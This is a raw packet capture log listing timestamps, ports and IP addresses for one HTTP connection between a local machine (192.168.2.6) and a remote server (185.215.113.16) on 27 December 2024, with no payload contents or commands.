Dec 27, 2024 08:50:55.767662048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.767674923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.767687082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.767699957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.767723083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.767739058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.768450022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.768461943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.768474102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.768486977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.768512964 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.768703938 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.769186974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.769200087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.769211054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.769238949 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.769293070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.769534111 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.769907951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.769958019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.769970894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.770060062 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.770078897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.770215988 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.770720005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.770775080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.770787001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.770855904 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.826435089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.826463938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.826477051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.826620102 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.826642990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.826771021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.826814890 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.826868057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.826879978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.826962948 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.827310085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.827359915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.827370882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.827558994 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.827574968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.828440905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.828453064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.828465939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.828501940 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.828501940 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.828636885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.828651905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.828664064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.828708887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.828731060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.828790903 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.829444885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.829458952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.829471111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.829583883 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.881192923 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.891012907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.891098976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.891112089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.891150951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.891170979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.891247034 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.891338110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.891395092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.891407013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.891441107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.891880989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.891932011 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.891961098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.891974926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.892060041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.892081976 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.892672062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.892730951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.892745018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.892769098 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.892788887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.892802000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.893424988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.893476009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.893486023 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.893488884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.893532991 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.893621922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.894224882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.894294024 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.894319057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.943655968 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.959719896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.959783077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.959798098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.959853888 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.960087061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.960098982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.960110903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.960140944 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.960155010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.960683107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.960763931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.960774899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.960827112 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.960839987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.960913897 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.961245060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.961370945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.961383104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.961395979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.961426973 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.961436033 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.962116003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.962127924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.962141991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.962173939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.962198973 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.962224007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.962817907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.962840080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.962853909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.962898016 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.962939024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.963036060 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.963654995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.963668108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.963680983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.963742018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.963758945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.963979006 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.964389086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.964451075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.964464903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.964533091 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.964534044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.964600086 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.965224981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.965235949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.965255022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.965267897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.965286016 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.965310097 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.966047049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.966059923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.966072083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.966110945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.966116905 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.966238022 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.966753960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.966774940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.966789961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.966835022 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.966953039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.966995001 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.967518091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.967601061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.967613935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.967689991 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.967709064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.967751980 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.968333960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.968347073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.968359947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.968394041 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.968432903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.968559027 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.969156027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.969217062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.969228983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.969259024 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.969314098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.969419956 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.969899893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.970046043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.970057964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.970097065 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.970119953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.970326900 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.970652103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.970727921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.970741034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.970797062 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.970818043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.970873117 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.971462011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.971527100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.971539974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.971566916 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.971585989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.971637011 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.972259045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.972394943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.972521067 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.979173899 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.027704000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.027718067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.027765989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.027776003 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.027832985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.027847052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.027976036 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.027997017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.028043985 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.028577089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.028661966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.028762102 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.028781891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.028873920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.028884888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.028992891 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.029011011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.029062033 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.029640913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.029654026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.029669046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.029716969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.029740095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.029848099 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.030359983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.030427933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.030441999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.030484915 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.030500889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.030596018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.031167030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.031244993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.031773090 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.035105944 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.092355967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.092370987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.092382908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.092478037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.092483997 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.092581987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.092607021 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.092616081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.092632055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.092681885 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.093266964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.093413115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.093442917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.093457937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.093471050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.093502045 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.094084024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.094099045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.094110966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.094134092 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.094172955 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.094671011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.094682932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.094693899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.094727993 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.094743967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.094826937 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.095446110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.095457077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.095472097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.095525026 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.161533117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.161561966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.161576033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.161647081 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.161730051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.161919117 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.161952972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.161967039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.161978960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.162012100 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.162029982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.162137985 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.162673950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.162746906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.162759066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.162792921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.162822962 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.162858009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.163441896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.163455009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.163466930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.163515091 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.163543940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.163598061 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.164323092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.164377928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.164390087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.164437056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.164449930 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.164484978 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.165040970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.165180922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.165193081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.165199041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.165307045 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.165872097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.165884972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.165894985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.165930986 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.166023016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.166421890 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.166558027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.166627884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.166639090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.166676044 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.166682005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.166763067 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.167351961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.167407990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.167424917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.167467117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.167507887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.167507887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.168144941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.168248892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.168260098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.168272018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.168343067 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.168960094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.168977022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.168991089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.169045925 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.169085026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.169169903 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.169789076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.169801950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.169815063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.169883013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.169897079 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.170078993 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.170953035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.170967102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.170980930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.170994043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.171016932 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.171041012 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.171304941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.171405077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.171417952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.171469927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.171489954 CET	49752	80	192.168.2.6	185.215.113.16
